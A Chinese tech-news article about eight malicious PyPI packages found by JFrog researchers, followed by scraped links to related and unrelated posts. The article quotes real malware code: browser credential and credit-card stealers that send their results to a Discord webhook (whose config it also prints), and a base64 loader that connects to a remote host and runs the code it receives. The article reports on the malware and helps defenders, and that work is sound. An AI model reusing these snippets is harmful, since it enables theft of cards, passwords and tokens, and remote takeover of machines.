转自:机器之心

近日,有研究人员又在 Python 官方软件包存储库 PyPI 中发现了 8 个恶意软件包,这些恶意代码会暗中窃取信用卡数据和登录凭据,并在受感染的机器上注入恶意代码。据估计,这些软件包的下载次数达到了 3 万次。

PyPI(Python Package Index)是 Python 的正式第三方软件包的开源软件存储库,它类似于 CPAN(Perl 的存储库)。pip 等一些软件包管理器就是默认从 PyPI 下载软件包。任何用户都可以下载第三方库和上传自己开发的库,目前通过 PyPI 可以下载超过 23.5 万个 Python 软件包。

但是,PyPI 软件存储库经常被滥用也成为一个不争的事实。2018 年,一位安全研究者 Bertus 对 PyPI 进行安全扫描时发现了 12 个有问题的软件包,其中包含可以导致安全隐患、开启后门甚至盗取比特币的恶意代码;2020 年腾讯洋葱反入侵系统发现 PyPI 被恶意上传了 request 钓鱼包,攻击者通过伪造 requests 包名进行钓鱼,能够对受感染的主机进行入侵,进而可能窃取用户敏感信息及数字货币密钥、种植持久化后门、命令控制等。

近日,DevOps 软件供应商 JFrog 的几位研究人员发表文章称,他们最近在 PyPI 中又发现了 8 个可执行一系列恶意活动的软件包,并且根据对 PePy 网站(一个提供 Python 包下载统计数据的站点)的搜索,这些恶意包的下载次数估计达到了 3 万。

他们表示,这些恶意代码会暗中窃取信用卡数据和登录凭据,并在受感染的机器上注入恶意代码。在收到研究人员的通知后,PyPI 的维护者 Dustin Ingram 迅速做出反应并删除了恶意软件包

两类不同的恶意代码族构成系统性威胁

这一发现是近年来一系列攻击中最新的一个,这些攻击超过了开源存储库的接受能力,数以百万计的软件开发人员每天都依赖开源存储库。尽管软件存储库扮演着至关重要的角色,但它们往往缺乏鲁棒的安全性和审查控制,当开发人员在不知情的情况下感染恶意代码或将恶意代码嵌入他们发布的软件时,这一弱点有可能导致严重的供应链攻击。

JFrog 首席技术官 Asaf Karas 表示:「诸如 PyPI 这样的流行软件库中不断发现恶意软件包,这种趋势令人担忧,有可能导致更为广泛的供应链攻击。攻击者使用简单的混淆技术来引入恶意软件,这意味着开发人员必须时刻保持关注和警惕。这是一种系统性威胁,需要在包括软件存储库的维护人员和开发人员等不同层面上进行解决。」

与大多数 Python 恶意软件一样,这些包仅使用了简单的混淆技术,例如来自 Base64 编码器的混淆。在这 8 个恶意软件包中,前 6 个(noblesse、genesisbot、aryi、suffer、noblesse2 和 noblessev2)均包含 3 个有效负载,一个用于获取 Discord 账户的认证 cookie,第二个用于提取在浏览器存储的任何密码或支付款卡数据,第三个用于收集受感染 PC 的信息,如 IP 地址、计算机名和用户名。

有效负载 1:窃取 Discord 身份验证 token

noblesse 恶意软件族的首个有效负载是窃取 Discord 身份验证 token。身份验证 token 允许攻击者冒充最初持有 token 的用户,类似于 HTTP 会话 cookie。窃取 token 的有效负载基于臭名昭著的 dTGPG 有效负载,它是一个从未公开发布的生成器工具,但个性化 token 抓取器是公开共享的,并且一些示例也上传到了 GitHub。因此,Discord 身份验证 token 窃取器代码非常简单,它迭代一组硬编码的路径:

local = os.getenv('LOCALAPPDATA')
roaming = os.getenv('APPDATA')paths = {'Discord': roaming + '\\Discord','Discord Canary': roaming + '\\discordcanary','Discord PTB': roaming + '\\discordptb','Google Chrome': local + '\\Google\\Chrome\\User Data\\Default','Opera': roaming + '\\Opera Software\\Opera Stable','Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default','Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default'}

然后读取这些路径下(特别是 Local Sotrage\leveldb)的所有的. log 和. ldb 文件,并查找 Discord 身份验证 token。所得结果通过 Webhook 上传到 Discord,所用参数如下:

{"type": 1,"id": "807327703082074143","name": "Captain Hook","avatar": null,"channel_id": "725001140324008047","guild_id": "720931953251057725","application_id": null,"token": "uwAgm7PQaROJB3USUNDv1RT7uJzfidUsHBsC_y0p2qtChlzNVgpG1vw2zAtkFX-8Xq-x"}

有效负载 2:窃取自动完成敏感数据(信用卡和密码)

noblesse 恶意软件族的第二个有效负载可自动完成信息窃取。目前所有的现代浏览器都支持保存用户密码和信用卡信息的能力:

这种自动保存功能给用户带来了极大的便利,但缺点是,这些信息可能会被访问本地机器的恶意软件泄露。在这种情况下,恶意软件试图从 Chrome 窃取信用卡信息:

def cs():master_key = master()login_db = os.environ['USERPROFILE'] + os.sep + \r'AppData\Local\Google\Chrome\User Data\default\Web Data'shutil.copy2(login_db,"CCvault.db")conn = sqlite3.connect("CCvault.db")cursor = conn.cursor()try:cursor.execute("SELECT * FROM credit_cards")for r in cursor.fetchall():username = r[1]encrypted_password = r[4]decrypted_password = dpw(encrypted_password, master_key)expire_mon = r[2]expire_year = r[3]hook.send(f"CARD-NAME:" + username + "\nNUMBER:" + decrypted_password + "\nEXPIRY M:" + str(expire_mon) + "\nEXPIRY Y:" + str(expire_year) + "\n" + "*" * 10 + "\n")

另外,从 Edge 中窃取保存的密码和信用卡信息:

login_db = os.environ['USERPROFILE'] + os.sep + r'\AppData\Local\Microsoft\Edge\User Data\Profile 1\Login Data'...
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
decrypted_password = dpw(encrypted_password, master_key)if username != ""or decrypted_password !="":hook.send(f"URL:" + url + "\nUSER:" + username + "\nPASSWORD:" + decrypted_password + "\n" + "*" * 10 + "\n")

有效负载 3:用户系统信息收集

noblesse 恶意软件族的第三个有效负载是收集中招用户系统的相关信息,并上传至上文提到的 Webhook。收集的信息包括如下:

  • IP 地址;

  • 计算机名;

  • 用户名;

  • Windows 许可关键信息;

  • Windows 版本;

  • 屏幕截图(使用 Pillow 的 ImageGrab)。

pytagora 恶意软件族:远程代码注入攻击

不过,Karas 表示前 6 个软件包具有感染开发者计算机的能力,但却不能用恶意软件感染开发者编写的代码。第二类恶意软件族则要简单得多,软件包的代码如下:

import mathimport base64,sys
def hello():exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3Qs...'))
def hypotenuse(a,b):hello()c = math.sqrt(math.pow(a,2) + math.pow(b,2))return round(c,2)
def other(c,x):y = math.sqrt(math.pow(c,2)-math.pow(x,2))return round(y,2)

模糊代码又被解码为了以下代码片段:

import socket,struct,times=socket.socket(2,socket.socket.socket.SOCK_STREAM)
s.connect(('172.16.60.80',9009))l=struct.unpack('>I',s.recv(4))[0]
print (l)d=s.recv(l)
print (d)while len(d)>!1:d+=s.recv(l-len(d))
print (d)
exec(d,{'s':s})

简单地说,恶意软件试图连接 TCP 端口 9009 上的私有 IP 地址,然后执行从 socket 中读取的任何 Python 代码。

对此,Karas 表示:「对于 pytagora 和 pytagora2 这两个软件包,则允许在安装它们的机器上代码执行,这是有可能的。在感染了开发机器之后,恶意软件包允许代码执行,然后攻击者可以下载有效负载,从而修改正在开发的软件项目。我们没有证据表明恶意软件确实是这样执行的。」

机器中招,怎么办?

如果你在检查完 PyPI 依赖项后,确认 noblesse(或是克隆版本)已经在本地安装,你可以采取以下建议:

  1. 检查 Edge 中保存了哪些密码,并在每个网站上更改这些被泄露的密码(还包括重复使用相同密码的网站)。你可以这样做:打开 Edge,然后导航到 edge://settings/passwords。保存密码的完整列表(这些都是潜在的危害)可以在 Saved passwords 查看。

  2. 检查哪些信用卡信息保存在 Chrome,可以考虑在 Chrome 中取消这些信用卡。你可以这样做:打开 Chrome,导航到 chrome://settings/payments。完整的信用卡信息列表(这些都是潜在的危害)可以在 Payment methods 中查看。

如果你已经确定 pytagora(或者克隆版本)已经在你的机器上本地安装,尽管你的机器可能不会感染相关的恶意软件,但建议你还是遵循常用的恶意软件检查步骤进行检查,例如使用已安装的杀毒软件进行全面扫描。

参考链接:

https://www.secrss.com/articles/24477

https://www.freebuf.com/column/188051.html

https://jfrog.com/blog/malicious-pypi-packages-stealing-credit-cards-injecting-code/

https://arstechnica.com/gadgets/2021/07/malicious-pypi-packages-caught-stealing-developer-data-and-injecting-code/?comments=1&post=40097199

推荐阅读

Pandas处理数据太慢,来试试Polars吧!

懒人必备!只需一行代码,就能导入所有的Python库

绝!关于pip的15个使用小技巧

介绍10个常用的Python内置函数,99.99%的人都在用!

可能是全网最完整的 Python 操作 Excel库总结!

下个软件包可能泄露信用卡信息,Python 包存储库 PyPI 又爆恶意代码,下载达 3 万次,你中招了吗?...相关推荐

  1. 下个软件包可能泄露信用卡信息,Python包存储库PyPI又爆恶意代码,下载达3万次,你中招了吗?...

    近日,有研究人员又在 Python 官方软件包存储库 PyPI 中发现了 8 个恶意软件包,这些恶意代码会暗中窃取信用卡数据和登录凭据,并在受感染的机器上注入恶意代码.据估计,这些软件包的下载次数达到 ...

  2. 危!Python 官方存储库 PyPI 再成“祸源”?

    整理 | 郑丽媛 出品 | CSDN(ID:CSDNnews) PyPI,作为 Python 的官方第三方软件包存储库,一直广受开发者欢迎,所有人都可以下载第三方库或上传自己开发的库到 PyPI,与之 ...

  3. 信息安全快讯丨个人信息保护法列入人大立法规划;汇丰银行部分用户数据泄露;Android新恶意样本数量达320万个

    政府举措 个人信息保护法列入人大立法规划 关键词:个人信息保护 11月8日,第五届世界互联网大会"大数据时代的个人信息保护"分论坛在浙江省乌镇举行.从会上了解到,个人信息保护法已经 ...

  4. python包发布到pypi或私有仓库 实践及踩坑 ModuleNotFoundError: No module named 'keyring.util.escape' 等

    0.写在开头: 封装我们自己写好的python包然后分享到网络提供给大家使用, 这本来是一个基本操作. 但是之前个人没有主动上传过自己封装的库到pypi, 正好趁这次自己封装简单包提供给大家用的机会, ...

  5. python 发布包_如何将自己的Python包发布到PyPI

    以前写过一篇类似的文章: 如何打包自己的项目并且发布到pypi上,不过由于PyPI进行了一些更新,因此旧方法不大适用了.趁端午有时间,想把haipproxy的客户端发布到PyPI,以改进用户体验,因此 ...

  6. python自己写包_如何将自己的Python包发布到PyPI

    以前写过一篇类似的文章: 如何打包自己的项目并且发布到pypi上,不过由于PyPI进行了一些更新,因此旧方法不大适用了.趁端午有时间,想把haipproxy的客户端发布到PyPI,以改进用户体验,因此 ...

  7. python包发布到Pypi官网

    python包发布教程 首先,我们先在Pypi注册一个账户,如图: (点register注册) 注册完毕后,我们还要安装setuptools和twine两个包 >>> pip ins ...

  8. 【Python】如何在PyPI上发布自定义软件包

    1. 引言 在Python中我们经常使用pip来安装第三方Python软件包,其实我们每个人都可以免费地将自己写的Python包发布到PyPI上,供他人来通过pip进行安装. 在本文中,我们将从一步一 ...

  9. Python 包管理工具 pip 安装 和 使用

    pip 安装使用详解:http://www.ttlsa.com/python/how-to-install-and-use-pip-ttlsa python 包:https://pypi.python ...

最新文章

  1. python:f/F,format,%的用法
  2. 采购申请 RFC BAPI
  3. 玩转C语言之数组-数组指针
  4. 就差一点点-微妙的强制类型转换
  5. CentOS7,linux下nginx的安装过程——1.安装pcre与nginx——源码
  6. SAP Spartacus 重用组件cx-table的设计原理
  7. 苹果挥刀,iPhone 12 mini要换处理器了,无缘A14!
  8. 关于 Java 9 你所需要知道的一切
  9. Saur家的官方语言
  10. Chrome 跨域调试
  11. QT重装系统后的程序异常处理与Windows奔溃导致无法开机的资料备份
  12. python qt快速入门_Python QT5 简洁入门
  13. Avast注册以及更新
  14. Oracle 11g Rac搭建
  15. 龙之谷私服源码+搭建教程
  16. 论文毕业设计--基于javaweb框架的个人博客系统项目毕业设计论文.doc
  17. 一文搞懂Object.create()、new Object()和{}创建对象的区别
  18. 播放器显示服务器失败是什么意思,播放器没有办法播放
  19. 一本书读懂财报 | 现金流量表剖析
  20. 云计算ACP弹性计算服务(二)

热门文章

  1. mysql获取当前时间,前一天,后一天(执行效率比较高)
  2. PHP7新特性 What will be in PHP 7/PHPNG
  3. Goland显示“Cannot resolve symbol XXX“ 进行更新IDE的索引库
  4. TP的门面Facade:静态方式调用方法
  5. php和java之间rsa加密互通
  6. 转:PHP 获取今日、昨日、上周、本月的起始时间戳和结束时间戳的方法
  7. php数据库根据相似度排序,php数组字段相似度排序
  8. rabbitmq延迟队列实现
  9. linux双核对线程,Linux检查双核(及多核)CPU信息
  10. html多语言国际化,gMIS吉密斯i18n多语言国际化更新